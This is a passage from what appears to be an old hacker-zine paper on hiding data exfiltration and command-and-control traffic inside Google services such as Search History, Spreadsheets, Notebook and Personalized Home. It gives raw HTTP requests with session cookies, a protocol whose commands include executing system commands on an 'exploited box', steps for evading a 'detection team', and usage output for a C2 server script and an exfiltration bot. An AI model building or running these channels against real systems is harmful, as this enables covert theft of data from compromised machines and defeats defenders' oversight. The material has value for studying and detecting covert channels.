g00gle session (Auth) handling policy[8]. The exploited box will thus have to get a new AC every 2 weeks and the detection team still has the same and same again time frame to play with uploaded data. - We loose the g00gle account and the content we uploaded once we're detected. - GBase objects are not always immediately searchable: usually it takes less than 10 minutes to create/update a GBase object , but the g00gle says that could take up to 24h in some cases. 2.5. Personalized home - "Battleship Treasures Unloading" ========================================================= The g00gle allows web users to personalize their home page with arbitrary content. The main question we have to answer when analyzing this behaviour is "how do we use the Personalized Home (PH) behaviour ?". The first possibility is to let the wild web server (WWS) create a PH page with arbitrary content. While creating this PH page, the WWS will have to save the last PH "context" (PHc) based on HTTP cookies and communicate this PHc to the exploited box. The exploited box will thus be able to gather information from the g00gle with the PHc. //-------------------------------------------------------------------\\ 2 box #1 --| |---> Direct g00gle <---| |-- | NACS | | wild web client box #2 --| |---> Personalized home <---| 3 1 1. wwc creates a PH and saves the PHc 2. exploited box gets the PHc with a direct g00gle contact access 3. exploited box is able to gather the wwc uploaded data from the g00gle \\-------------------------------------------------------------------// With this PHc, the exploited box can gather the information the WWS uploaded on the g00Gle as long as the WWS doesn't update the PH (because the PHc changes each time the PH is updated). Pros and Cons : --------------- $ Stealth solution because exploited box contacts the g00gle domain only (no g00gle subdomain) - Very unc00l solution because everytime the wwc updates the PH, the PHc is updated. 2.6. Personalized home - "Battleship Supplies Loading" ====================================================== The other solution is that exploited box creates its own personalized home (PH) and transmit the PH context (PHc) to the wwc. //-------------------------------------------------------------------\\ 2 box #1 --| |---> Direct g00gle <---| |-- | NACS | | wild web client box #2 --| |---> Personalized home <---| 1 3 1. exploited box creates a PH, upload data once or several time and saves the last used PHc 2. exploited box uses a direct g00gle contact access to transmit the PHc to the wwc 3. wwc gather information from the g00gle \\-------------------------------------------------------------------// Using PH to upload information very interesting because a lot of ways are available. For example, the "tab" names or the "stuff" names or various different "stuff". Personalized Home pros and cons : --------------------------------- $ Esthetic solution : the function we use is available to the user for uploading random information (mostly ascii but we don't care) so uploading information this way isn't suspicious. $ Stealth solution because exploited box contacts the g00gle domain only (no g00gle subdomain) $ Most of the PH resources or "stuff" functions return "204 No Content" HTTP code which are very interesting when we piggyback over legitimate HTTP requests streams. - The wwc is not able to get exploited box uploaded data before it gets the PHc from the exploited box. -- Every time the exploited box uploads content, the PHc is updated and needs to be sent back to the wwc. This is very problematic because if we are detected before being able to send the PHc, then the detection team will be able to remove the content before the wwc is able to gather it. Of course, the standard CC ways to upload information through PH are also available : it may imply the number of elements on the page, their location on the page (or on the sets of pages), their type or category, the number of tab, the location of an element within one or another tab and so on. However that type of covert channel would be great for a "control channel" but would not be so efficient for a "data channel" used to exfiltrate sensitive data. We hereunder describe two possibilities to use the Personalized Home to upload information to the g00gle : the tab name and the sticky note stuff. ==[[ Refer to ANNEX 5 - PH tab name container reqs/resps ]]== Overhead: --------- In ANNEX 12-L we presented the overhead calculation to upload a ~30Kb file using `Tab name` function. To upload our TREASURE (ANNEX 12-L.I/III), we get an initialization overhead of 48293 Bytes; after that we must repeat step IV and V (ANNEX 12-L) for 16 times (we can upload 1990 Bytes at a time) obtaining thus 49360 Bytes which summed to the previous value gives us a total overhead of 97653 Bytes (~318%). Tab names pros and cons : ------------------------- $ Nice method because we can upload to the g00gle one data packet at a time and let the g00gle keep previous data for us. - Uploading our data goes through a GET method so we cannot afford to set a ~32Kb parameter. Size is thus a very though constraint. - Initialization is 7 requests long before being able to upload content to the g00gle. ==[[ Refer to ANNEX 6 - PH Sticky note container reqs/resps ]]== Sticky note pros and cons : --------------------------- - Uploading our data goes through a GET method so we cannot afford to set a ~32Kb parameter. Size is thus a very though constraint. -- Each time we wanna update the container we have to send back its content. For example, if we "GET /ig/setp?hl=en&et=mwa3t6OL&m_28_up_\ stickydata=AB" and then "GET /ig/setp?hl=en&et=mwa3t6OL&m_28_up_sticky\ data=Z", the cookie we'll get will reference a personalized home with the sticky note set to "Z" only. So, we have to decide : 1/ we only upload information as a one shot exfiltration and transmit our cookie. 2/ we keep track (on the compromised host) of what we already exfiltrated, update the sticky a few time and then transmit our cookie. 2.7. g00gle Search History - "Crew is hunting for treasures" ============================================================ G00gle Search History automatically keeps track of all of your web searches and all of the pages you decided to read from search results (That is, if you ever forget something, you just have to ask to the g00gle ;)). To use this feature, you need to have an active Google account. Once it is active, the g00gle will assist you as a brave second captain while your queries and search results sail over the wild wild web writing everything in his diary. Using the technique explained in 2.2., it is possible to exchange Auth context between WWS and EB. Our crewbot will thus bypass authentication and perform g00gle searches, passing arbitrary data as query strings. WWS will then be able to acquire such data as xml feeds accessing a special g00gle url. This is, without any doubt, the most stealthy exploitable service ever found in the g00gle universe (except having your own g00gle at home of course) to exfiltrate sensitive data! //-------------------------------------------------------------------\\ 2 |---> g00gle Base Search | | | | | | 3 | |---> g00gle Search | | | exploited box | NACS | | wild web server | 4 | | g00gle Search History <---| | | | | | g00gle Base <---| 1 1. Wild web server (WWS) connects through https to g00gle Search History and uploads "authentication context" (AC) in a gBase xml item or in a calendar or uses any other AC exchange method you now are aware of. do you ? 2. Exploited box (eb) downloads AC Cookie. 3. Exploited box uses AC Cookie to perform g00gle searches "uploading" data to the Search History Account. 4. WWS connects to Search History Account and download EB data as xml feed. 5. The wild web server and exploited box can exchange information with a "store and get back" mechanism, perform searches and get data as xml feeds using http protocol only. \\-------------------------------------------------------------------// AC this time is only the session id (SID) which again can be gathered using the ClientLogin process explained in 2.1. As mentioned in the first point of the schema, EB can get SID from WWS using one of the direct download method. EB then sets SID variable in the "Cookie" header field and will be able to upload and download data from the g00gle history account. 1. So lets practice! EB uses the SID Cookie string and makes a search on the g00gle asking for the string: `yee let's exfiltrate some content!`: //-------------------------------------------------------------------\\ GET /search?q=yee+let%27s+exfiltrate+some+content!&hl=en Host: www.google.com User-Agent: Mozilla/5.0 (compatible;) Cookie: SID=SIDSTRING HTTP/1.x 200 OK Cache-Control: private Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=pref-id-string; path=/; domain=.google.com Server: GWS/2.1 Transfer-Encoding: chunked Date: Tue, 27 Mar 2007 12:21:50 GMT \\-------------------------------------------------------------------// 2. WWS now looks at the History Search account to get EB's uploaded data: //-------------------------------------------------------------------\\ GET /searchhistory/?output=rss Host: www.google.com User-Agent: Mozilla/5.0 (compatible;) Cookie: SID=SIDSTRING HTTP/1.x 200 OK Content-Type: text/xml; charset=UTF-8 Set-Cookie: PREF=ID=pref-id-string; path=/; domain=.google.com Server: Search-History HTTP Server Content-Length: 5177 Date: Tue, 27 Mar 2007 12:31:18 GMT <rss version="2.0"> <channel> <title>Google - Search History http://www.google.com/searchhistory/ Google - Search History RSS feed yee let's exfiltrate some content! http://www.google.com/search?q=yee+let%27s+exfiltrate+some+\ content!&hl=en Tue, 27 Mar 2007 12:34:17 GMT web query 0 result(s) SQ8JRrfYPI2K0wSG7oWWCA \\-------------------------------------------------------------------// As you understand, WWS added the parameter "output=rss" to the query string so that it will get EB's history searches in xml format .. which is much more comfortable (not again ! ;)) for data exchange. Synchronization and Overhead: ----------------------------- Hereunder we present a possible way to achieve synchronization for an History Search control channel using again the following simple fields/ commands: //-------------------------------------------------------------------\\ - request : request command * 0x10 = CHANGE EB CONNECTION TIME (EB will check for request every x seconds; x is set in the `data` field). * 0x20 = EXECUTE SYSTEM COMMAND (command specified in `data` field). - data : data to upload / to request. \\-------------------------------------------------------------------// 1. WWS sends a command to EB performing a g00gle search using the following query string: //-------------------------------------------------------------------\\ GET http://www.google.com/search?q=\ CaptainOrder%3Arequest%3D0x10%3Adata%3D7200 \\-------------------------------------------------------------------// 2. EB (having AC) can look for CaptainOrder feeds within history search: //-------------------------------------------------------------------\\ GET http://www.google.com/searchhistory/?output=rss \\-------------------------------------------------------------------// The overhead to make EB getting WWS instructions is: I) GET /searchhistory/?output=rss HTTP/1.1 OVERHEAD = 958 Bytes II) GET /searchhistory/?output=rss&zx=zx-string HTTP/1.1 OVERHEAD = 1279 Bytes TOTAL OVERHEAD = 2237 Bytes ==[[ Refer to ANNEX 12.D ]]== To get a single instruction from WWS, EB has a 2237 Bytes total overhead (1203% considering AC as a 182 Bytes string). 3. EB executes WWS'command and sends a reply to WWS through the g00gle search interface: //-------------------------------------------------------------------\\ GET http://www.google.com/search?q=\ CrewReply%3Arequest%3D0x10%3Adata%3DOk.StealthMode \\-------------------------------------------------------------------// 4. WWS lists history searches looking for CrewReply feeds: //-------------------------------------------------------------------\\ GET http://www.google.com/searchhistory/?output=rss \\-------------------------------------------------------------------// Once EB's confirmation found, it deletes both feeds (request/response) so that they won't increase EB's overhead in next connections: //-------------------------------------------------------------------\\ POST /searchhistory/delete?ceh=1&hl=en&zx=zx-string \\-------------------------------------------------------------------// Ok, now let's consider how stealth can be the g00gle search interface to upload arbitrary data (about 30Kb) from the EB point of view. For each search, EB can exfiltrate 2000 bytes (using query string `q`). If needed, EB can append `&num=0` to the query string to decrease responses' overhead (num=0 asks the g00gle to not display search results if there are any). //-------------------------------------------------------------------\\ GET /search?q=CREWTREASURE HTTP/1.1 Accept-Encoding: identity Host: www.google.com Cookie: SID=sid-string User-Agent: Mozilla/5.0 (compatible;) -- sid-string = 182 Bytes CREWTREASURE = 1920 Bytes -- HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=pref-string Server: GWS/2.1 Transfer-Encoding: chunked Date: Fri, 20 Apr 2007 13:30:49 GMT -- pref-string = 130 Bytes -- REQUEST HEADER OVERHEAD = 313 Bytes RESPONSE HEADER OVERHEAD = 317 Bytes RESPONSE BODY OVERHEAD = 37189 Bytes TOTAL OVERHEAD X UPLOAD = 37819 Bytes TOTAL X 16 UPLOADS = 605104 Bytes (1970%) \\-------------------------------------------------------------------// Argh! Pirate's flag in the open ! Keep silent... This is a very important overhead. At the first look, we thought this service was the most stealth one to upload small chunks of data. But when we analyse the search result page sent back by the g00gle, we have to admit that though it doesn't return any result for our string, it reports the query string itself in many links of the page... And with our uploaded data! In fact, from the g00gle point of view, it shall let you try another search with the same string for a different service (images, video, etc.). But nothing is l.o.s.t. .. We have to `lateral shift` our mind a little bit more! :) Our Battleship must haul into a dock and unload the treasure to bypass the custom. In other words, we need a way to do not get the g00gle standard result page. Now let me think how to face that pirate cruising nearby the harbor... I've been captain for this battleship for a long time and.. and.. `I'm Feeling Lucky` today. Yep, lets try this g00gle function... In fact, we always thought it wasn't useful but who knows... When we submit our query, `I'm Feeling Lucky` will forward EB immediately to the first result's page URL, not showing the other results.. Ok but we have to search for something that will forward EB to an URL in the detection team whitelist and we must also find another variable to store our sensitive data. It seems the `q` variable must return the right result to do the trick. As far as I know, it seems that History Search will store only the `q`, `lr` and `safe` variables as query parameters, so EB could ask for the following URL: //-------------------------------------------------------------------\\ GET /search?q=google&btnI=&lr=CREWTREASURE HTTP/1.1 Accept-Encoding: identity Host: www.google.com Cookie: SID=sid-string User-Agent: Mozilla/5.0 (compatible;) -- sid-string = 182 Bytes CREWTREASURE = 1920 Bytes -- 302 Moved

302 Moved

The document has moved here. REQUEST HEADER OVERHEAD = 329 Bytes RESPONSE HEADER OVERHEAD = 332 Bytes RESPONSE BODY OVERHEAD = 219 Bytes TOTAL OVERHEAD X UPLOAD = 880 Bytes TOTAL X 16 UPLOADS = 14080 Bytes (46%) \\-------------------------------------------------------------------// As you can see, we set the `btnI` to call the `I'm Feeling Lucky` function, we set the `q` variable to `google` (can you imagine to which url the g00gle will forward EB searching for `google` string?) and we stuffed our treasure inside the `lr` variable. So, as we expected, the g00gle will reply to this query with: //-------------------------------------------------------------------\\ HTTP/1.1 302 Found Location: http://www.google.com \\-------------------------------------------------------------------// .. forwarding EB to g00gle.com. Moreover, We do not necessary follow the forward so that we'll decrease our overhead to 219 Bytes for the response body. Now if we check the History search interface we will see EB's search with `lr` variable storing our treasure. Pros and Cons : --------------- $ Very Stealth solution because exploited box contacts the g00gle domain only performing "normal" searches. $ Very c00l unusual solution. The wild web server (WWS) and exploited box exchange information with a "store and get back" mechanism. $ The WWS is able to get data as soon as it's available on the g00gle. $ The exploited box will not have to get a new AC time by time because SID expiration period for g00gle searches is very long (years). - The WWS is able to monitor the g00gle container but NOT able to close the session from time to time to "secure" uploading because of the g00gle session (SID) handling policy[8]. - We loose the g00gle account once we're detected. - Amount of data passed for each upload is limited to the g00gle query string length that could be ok for a control channel but very inefficient for a data channel. 2.8. g00gle Spreadsheets - "Ship route calculator" ================================================== In Google Spreadsheets Data API Developer's Guide [6] we read: "The Google Spreadsheets data API allows client applications to view and update Spreadsheets content in the form of Google data API ("GData") feeds. Your client application can request a list of a user ' s spreadsheets, edit or delete content in an existing Spreadsheets worksheet, and query the content in an existing Spreadsheets worksheet." It seems this may be very interesting for us because we could exploit this service using a spreadsheet as a database and accessing data via the Spreadsheets data API. With GSpreadsheets we have the following size limitation: - Each spreadsheet can be up to 10,000 rows, or up to 256 columns, or up to 50,000 cells, or up to 20 sheets whichever limit is reached first. - Each account has a limit of 200 spreadsheets. - The limit on spreadsheets open at one time is 20. - Each cell can store 3000 bytes of data. Not that bad! :) EB will need again to get Authorization Context from WWS following indications explained in previous paragraphs (GMail, Calendar, GBase, ...) and again we can gather the Auth string using ClientLogin interface. Downloading and Uploading data to g00gle Spreadsheet is well documented in [6] and is very similar to Calendar and GBase previously discussed. Synchronization and Overhead: ----------------------------- Synchronizing a GSpreadsheet channel between EB and WWS could be easier than syncing other g00gle channels because of the service nature; let's suppose a possible simple scenario where WWS asks EB to execute a system command and return its output. We create a spreadsheet having the following cells: //-------------------------------------------------------------------\\ - rqnumber : incremental request number. - request : request command * 0x10 = CHANGE EB CONNECTION TIME (EB will check for request every x seconds; x is setin the `data` field). * 0x20 = EXECUTE SYSTEM COMMAND (command specified in `data` field). - response : This field is set to response data when the spreadsheet query is a response, and 0x00 when it is a request. - rqdata : request data. \\-------------------------------------------------------------------// 1. WWS sends a command to EB adding a spreadsheet row (`key/worksheetID` in the POST url is the spreadsheet/worksheet unique identifier [7]) : //-------------------------------------------------------------------\\ POST http://spreadsheets.google.com/feeds/list/key/worksheetID/od6\ /private/full POST BODY ------------------------------------------- 0x01 0x20 0x00 uname -a \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 11.A - g00gle Spreadsheet POST reqs/resps ]]== 2. EB searches for undone requests in the spreadsheet (`response`==0x00) and finds the previous one: //-------------------------------------------------------------------\\ GET http://spreadsheets.google.com/feeds/list/key/worksheetId/od6\ /private/full?sq=response%3D%3D0x00 \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 11.B - g00gle Spreadsheet GET reqs/resps ]]== The total overhead for EB to get WWS' command is 2972 Bytes as shown in ANNEX 12.E. 3. EB gathers the row edit URL from the previous feed (see ANNEX 11.B), executes `uname -a`, fills `response` cell with its output and executes a PUT request to update the row: //-------------------------------------------------------------------\\ PUT /feeds/list/key/worksheetID/od6/private/full/cztg3/6yrd4w1gqot PUT BODY ------------------------------------------- 0x01 0x20 Linux sauron 2.6.15-26-powerpc #1 Fri Sep 8 \ 19:51:33 UTC 2006 ppc GNU/Linux uname -a \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 11.C - g00gle Spreadsheet PUT reqs/resps ]]== 4. WWS search for EB's response executing a structured query (`rqnumber`==0x01 and `response`!=0x00) and gets the output: //-------------------------------------------------------------------\\ GET /feeds/list/key/worksheetID/od6/private/full?\ sq=response%21%3D0x00+and+rqnumber%3D%3D0x01 \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 11.D - g00gle Spreadsheet GET reqs/resps ]]== Please note that we only used PUT method to explain how to update spreadsheet rows, as we said in 2.3, PUT method is exotic and will be suspicious to the detection team. EB could simply insert another row to upload data in response of a WWS request. Let's now figure how much is the overhead to upload a 30Kb file from the EB's point of view. Each spreadsheet cell can contain 3000 Bytes, so we may stuff our data in 11 cells performing a single upload: //-------------------------------------------------------------------\\ DATATOUPLOAD1DATATOUPLOAD2DATATOUPLOAD3DATAT OUPLOAD4DATATOUPLOAD5DATATOUPLOAD6DATATOUPLOAD7DATATOUPLOAD8DATATO UPLOAD9DATATOUPLOAD10DATATOUPLOAD11 \\-------------------------------------------------------------------// As shown in ANNEX 12.F the resulting total overhead is 63914 Bytes (208%). Pros and Cons : --------------- $ Very c00l unusual solution. The wild web server (WWS) and exploited box exchange information with a "store and get back" mechanism. $ The WWS is able to get data as soon as it's available on the g00gle. - The WWS is able to monitor the g00gle container but NOT able to close the session from time to time to "secure" uploading because of the g00gle session (Auth) handling policy[8]. The exploited box will thus have to get a new AC every 2 weeks and the detection team have a pretty large time frame to play with the uploaded data. - We loose the g00gle account once we're detected. - Detection team may has forbidden access to spreadsheet subdomains. 2.9. g00gle Notebook - "Captain's Log" ====================================== G00gle Notebook is a service located at www.google.com/notebook and, as the name suggests, is intended to serve as a notebook you can access from anywhere (anytime, anyhow, any...). To read and write (to) notebooks, you must perform authentication against the ServiceLoginBoxAuth in a similar way as presented in 2.2 for the GMail service but there is also a possibility to `share` your notes, in readonly mode, using a special URL that can be gathered in the notebook setting page. So, following previous examples we can think about using gnotebook in two separates or combined ways: 1. exploiting the public readonly url to exchange AC between WWS and EB; 2. using AC to access private notes and have again a store and get back container. To access public notes we just have to perform the following request (obviously the URL must be preshared between WWS and EB): //-------------------------------------------------------------------\\ GET http://www.google.com/notebook/public/AccountID/NotebookID \\-------------------------------------------------------------------// .. where AccountID and NotebookID are unique identifiers. As shown in ANNEX 12.H the overhead to get a new AC is 2328 bytes, about 510% considering AC composed by SID:LSID:TOKEN cookies (456 Bytes) and 1252% considering AC a 182 Bytes string (SID). Within a g00gle account you can set up different Notebooks and, each Notebook can contain many notes. Notebook and Notes are identified by unique identifiers, nbid and nid respectively. To access private sections and get AC to pass to EB, WWS must perform a three step request: //-------------------------------------------------------------------\\ 1. POST https://www.google.com/accounts/ServiceLoginBoxAuth to gather SID; 2. GET https://www.google.com/notebook to gather the notebook token (equal to the `_GN_RAT` string in the body of the response page) 3a GET / POST http://www.google.com/notebook/read to read private notebooks using AC (SID and token) 3b. GET / POST http://www.google.com/notebook/write to write private notebooks using AC (SID and token) \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 13 - Notebook auth ]]== Synchronization and Overhead: ----------------------------- To synchronize a notebook channel we could set up 2 different notebooks, one for Captain's orders and the other one for Crew's replies. Having, for example, the following simple commands: //-------------------------------------------------------------------\\ - rqnumber : incremental request number. - request : request command * 0x10 = CHANGE EB CONNECTION TIME (EB will check for request every x seconds; x is set in the `data` field). * 0x20 = EXECUTE SYSTEM COMMAND (command specified in `data` field). - rqdata : request data. \\-------------------------------------------------------------------// 0. EB and WWS find notebooks unique identifiers (`nbid` for Captain's Orders and Crew's Replies this is a `una tantum` operation): //-------------------------------------------------------------------\\ GET /notebook/read?pv=2.3&ident=fp&hl=en&tok=t8I3bmknOTsIGlbvMqZCJ\ ePJ8Yw%3D%3A1178027292034&cmd=u&start=0&num=50&zx=1178030878\ HTTP/1.1 Response: -------- [...] [ B('BDQi_QgoQgd6A86Mi','CrewsReplies' [...] B('BDQ8EQwoQk6_78qMi','CaptainsOrders'[...] B('BDTBmQgoQheGA8Zoi','CREWBREAKFAST' [...] ] [...] \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 14.B-0 - Notebook sync ]]== 1. WWS asks EB to change connection time to 3600 secs: //-------------------------------------------------------------------\\ COMMAND = rqnumber=0x01:request=0x10:rqdata=3600 GET /notebook/write?pv=2.3&ident=fp&hl=en&tok=YUGI_LnIIKBe8t5kGjNZ\ rev-5X0%3D%3A1177867637105&cmd=n&nbid=BDQ8EQwoQk6_78qMi&contents=r\ qnumber%3D0x01%3Arequest%3D0x10%3Arqdata%3D3600 HTTP/1.1 \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 14.B-I - Notebook sync ]]== 2. EB reads Captain's Log and executes the order: //-------------------------------------------------------------------\\ GET /notebook/read?pv=2.3&ident=fp&hl=en&tok=mSaDc605kTkWymaYl99Kd\ jOYbew%3D%3A1177868158457&cmd=u&start=0&num=50&zx=1177871741\ HTTP/1.1 Response: -------- [...] [ S('SDQ8EQwoQlK_78qMi',[N('NDQFpQgoQ5LKH86Mi', 'rqnumber\0750x01:request\0750x10:rqdata\0753600', 'grayworld@gmail.com',[],null,1177867639140,1177867639146,0) ] [...] \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 14.B-II - Notebook sync ]]== 3. EB posts its reply confirming the execution to the Captain (WWS): //-------------------------------------------------------------------\\ rqnumber=0x01:request=0x10:rqdata=ACK GET /notebook/write?pv=2.3&ident=fp&hl=en&tok=ly6hq5NTSwU2Ih8L2DUF\ 90MXWZ0%3D%3A1177868661077&cmd=n&nbid=BDQi_QgoQgd6A86Mi&contents=r\ qnumber%3D0x01%3Arequest%3D0x10%3Arqdata%3DACK HTTP/1.1 \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 14.B-III - Notebook sync ]]== 4. WWS reads Crew's confirmation and deletes all notes //-------------------------------------------------------------------\\ Request 1: ---------- GET /notebook/read?pv=2.3&ident=fp&hl=en&tok=ruOFC6h7txNNohdMOMMd_\ J-8tNk%3D%3A1177869371268&cmd=u&start=0&num=50&zx=1177872954\ HTTP/1.1 Response 1: ----------- [...] [ S('SDQi_QgoQgt6A86Mi',[N('NDQFpQgoQt_PF86Mi', 'rqnumber\0750x01:request\0750x10:rqdata\075ACK', 'grayworld@gmail.com',[],null,1177868663223,1177868663228,0)],'',0) ] [...] \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 14.B-IV - Notebook sync ]]== //-------------------------------------------------------------------\\ Request 2: ---------- POST /notebook/write pv=2.3&ident=fp&hl=en&tok=SP9b03KJ5bBoOA19Vx5\ Iq8DUEpM%3D%3A1178028929838&cmd=c&nid=NDQFpQgoQ5LKH86Mi&nbid=BDQ8E\ QwoQk6_78qMi Request 3: ---------- POST /notebook/write pv=2.3&ident=fp&hl=en&tok=SP9b03KJ5bBoOA19Vx5\ Iq8DUEpM%3D%3A1178028929838&cmd=c&nid=NDQFpQgoQt_PF86Mi&nbid=BDQi_\ QgoQgd6A86Mi \\-------------------------------------------------------------------// As you see here `cmd=c` and WWS specify both nid and nbid to delete a note. It is important that WWS deletes old notes because, otherwise, they will increase EB's read operations' overhead. Let's now see how much is the total overhead for EB to upload a 30Kb ascii file. To upload data to a Notebook we can use both GET and POST methods, but we'll obviously choose POST so that we we'll be able to upload 30Kb in a single operation: //-------------------------------------------------------------------\\ POST /notebook/write HTTP/1.1 tok=OlWjmdWAcUqGa5IbVEqIEkBjkqI%3D%3A1178034047699&cmd=n&nbid=BDQi\ _QgoQgd6A86Mi&contents=TREASURE \\-------------------------------------------------------------------// ==[[ Refer to ANNEX 12.H-II - g00gle notebook upload overhead ]]== The total overhead for a single upload of 30Kb is 31775 Bytes (103%). Pros and Cons : --------------- $ Very c00l unusual solution. The wild web server (WWS) and exploited box exchange information with a "store and get back" mechanism. $ The WWS is able to get data as soon as it's available on the g00gle. - The WWS is able to monitor the g00gle container but NOT able to close the session from time to time to "secure" uploading because of the g00gle session (SID and token) handling policy. - We loose the g00gle account once we're detected. - Detection team may has forbidden access to spreadsheet subdomains. - Notebook uses a subdir (/notebook) that could be banned by the detection team using a regex acl. ================================================================================ ============ II. SMITHING ============ 1. Smithing the Battleship ========================== Now we carry two kind of ores in our backpack. Coal ores will allow us to upload information on the g00gle and Iron ores will let us send information to a remote server. Uploading to the g00gle isn't so suspicious as the browser will only send and receive requests from an authorized website. However, once we will send information to a remote server through the g00gle, we have to understand the defender will try to know if the data streams are legitimate (regarding the security policy) or not. 1.1. Data Upload - "Choosing a ship model" ========================================== We first compared all of the g00gle service detailed in the paper to understand which service would be the better to smith steel and craft our battleship (refer to table hereunder). Gbase and GMail seem to be the ones with the lowest overhead to exfiltrate content and they may be the optimum to upload big amounts of data although they both may be blocked by Detection Team security policies because of the domain (mail.google.com) and subdirectory path (/base); Search History comes next and we feel like it shall be the best regarding the stealthiness factor and the situation we focus on with this paper (exfiltrate a small file ~30Kb). |----------------|-----------------|---------------|-----------| | PAYLOAD (AC/DT)| overhead (AC/DT)| domain | subdir | |-----------|----------------|-----------------|---------------|-----------| |GMail | - /DT | - / 9% |mail.google.com| - | |-----------|----------------|-----------------|---------------|-----------| |Calendar | AC/DT | 1730% / 140% |www.google.com | /calendar | |-----------|----------------|-----------------|---------------|-----------| |GBase | AC/DT | 1398% / 7% |www.google.com | /base | |-----------|----------------|-----------------|---------------|-----------| |Search | AC/DT | - / 46% |www.google.com | - | |-----------|----------------|-----------------|---------------|-----------| |Spreadsheet| - /DT | - / 208% |spreadsheets.g.| - | |-----------|----------------|-----------------|---------------|-----------| |Noebook | AC/DT | 1252% / 103% |www.google.com | /notebook | |-----------|----------------|-----------------|---------------|-----------| |Homepage | - /DT | - / 318% |www.google.com | - | |-----------|----------------|-----------------|---------------|-----------| |Translation| AC/DT | 156% / 613% |translate.goog.| - | |-----------|----------------|-----------------|---------------|-----------| - PAYLOAD (AC/DT) : type of payload, AC is authorization context that EB has to download when using g00gle account services, DT is data to exfiltrate; - overhead (AC/DT): AC is overhead to get AC from the EB point of view, DT is the total overhead to exfiltrate a ~30Kb file; - domain : the domain contacted to exfiltrate content; - subdir : url path for the www.google.com domain. 1.2. AC Exchange - "Choosing the crew food" =========================================== Checking out the table above, Translation and Notebook seem to be the best methods to exchange authorization contexts, but before choosing the right crew food we have to consider: 1. using the translation function: + lower overhead; - translate.google.com is an alias of www2.l.google. com but may be banned by the detection team; - we need to sacrifice a public box; 2. using notebook: + stealth because located at www.google.com; - higher overhead; - notebook uses a subdir (/notebook) that could be banned by the detection team using a regex acl; Depending upon the weather when the ship will leave the dock, one food may be better than the other one. Basically, if there is no restriction for subdirs, we feel the notebook functions are the best because we won't need any other public box to achieve our open sea trip. 1.3. One Step Beyond - "The Ghost Battleship" ============================================= Now let's go one step further to try to enroll the best crew if we suppose we plan a trip with another roadmap: We compromised a box and gave AC to the g00gle Crew bot; gbot started exfiltrating content using the g00gle history search but now, we don't want detection team to eavesdrop and use our AC. EB cannot expire AC in any way after each upload, because SID remains valid on the server side for years. Now what? This is far beyond our starting point but that's always fun to think about pushing the limits, isn't it ? So, let's demonstrate how we are able to exfiltrate content even for such extreme situations. Fortunately, History Search interface has a particular policy for managing SID cookies. In fact, contrary to the g00gle search page, SID expires after 15 minutes on the History Search Service; so let's set up all the gears of battleship's artillery: 1. WWS Authenticate against a g00gle Service, gains SID string and wait for 15 minutes to expiring it (no more "cR@Zy Iv@N" moves to elude Ping Jockeies); 2. WWS gives EB the expired SID which, by the way, can still be used to exfiltrate content performing `normal` g00gle searches; 3. EB starts exfiltrating content: detection team can sniff the SID but cannot use it to connect to the History Search because it's expired. The only thing that detection team could do is try to push the battleship in a storm, performing searches on the g00gle with the sniffed SID, in the hope of disturbing EB activity. This could be avoided, for example, by encrypting packets with a preshared dynamic key so that Captain, can distinguish crew's map parts searching for a particular control character sequence. A preshared dynamic key could be gathered, for example, searching for a term on the g00gle (by both EB and WWS) and collecting cache seeds as explained in 'I-1.3'. This method, as you will see, has been implemented in our POC to encrypt the SID before uploading it on the public Notebook. ================================================================================ ============= III. CRAFTING ============= 1. Crafting the Battleship ========================== Now that we designed the boat shape we are ready for crafting: the Battleship will consist upon 2 major parts: the Captain's Bridge, running on the WWS, and the Crew's Hold exfiltrating data from EB. (Un)Fortunatly, Captain loves exotic waters and the new crafted Battleship is already infested with `Pythons` :) 1.1. Captain's Bridge - "cApTAiNsBrIdGe.py" =========================================== //------------------------------------------------------------------------\\ captain@wws:~$ ./cApTAiNsBrIdGe.py usage: cApTAiNsBrIdGe.py -u username -p passwd -n notebookid [options] options: -h, --help show this help message and exit -c FILE, --config=FILE Path to config file -f CHECKINTERVAL, --check-interval=CHECKINTERVAL Battleship Unload Interval in Seconds -n NBID, --notebook-id=NBID Battleship Hold -u USERNAME, --username=USERNAME Pirate Name -p PASSWD, --passwd=PASSWD Pirate Password -o DB, --db-outputfile=DB Base64 Serialized Output File (default: `captaindb`) -b BINOUTPUT, --bin-outputfile=BINOUTPUT Binary Output File (default: `treasure`) -s STEALTH_MODE, --stealth-mode=STEALTH_MODE Stealth Mode against SID sniffing; values: 1 / 0 (default: 0) -r RESUME, --resume=RESUME Resume from a previous session; values: 1 / 0 (default: 0) -q SEED, --seed-search=SEED g00gle query string to gain cache seeds used to xor the SID (default: `BATTLESHIP`) //------------------------------------------------------------------------\\ As you can see, we must, at least , supply three parameters to start a session: username, g00gle account access password and notebook id (which is available if we check out the url once authenticated to the notebook service. Remember you have to publish the notebook (`sharing options` within the notebook interface) or the gBot won't be able to gather the AC. Other options for the cApTAiNsBrIdGe are: -o specifies where to store base64 data uploaded time to time by EB; -f Unload the Battleship every X seconds; -b specifies the name of the output file; -s starts the session in stealth mode: WWS waits for 15 minutes before uploading AC to the notebook. After that period, sniffing the SID to connect to the History Search will not be useful from the detection team point of view; -r tries to resume a session interrupted previously; -q searches for a string on the g00gle and uses the first 12 cache seeds to XOR AC before uploading it to the public Notebook. 1.2. Crew's Galley - "GcReWbOt.py" =========================================== //------------------------------------------------------------------------\\ crewbot@eb:~$ ./GcReWbOt.py usage: GcReWbOt.py -n notebook-url -u file-to-exfiltrate [options] Options: -h, --help show this help message and exit -c FILE, --config=FILE Path to config file -f UPLOADINTERVAL, --upload-interval=UPLOADINTERVAL Upload Interval in Seconds (default 10) -n NBID, --notebook-id=NBID Battleship Hold url -l PAYLOAD_LENGTH, --payload-length=PAYLOAD_LENGTH Payload Length in byte (default: 2000) -u FILE, --file-to-upload=FILE File to Exfiltrate -d FILE, --db=FILE base64 serialized db file (default: `gbotdb`) -a USER_AGENT, --user-agent=USER_AGENT Chameleon Function:It must be a real browser string otherwise 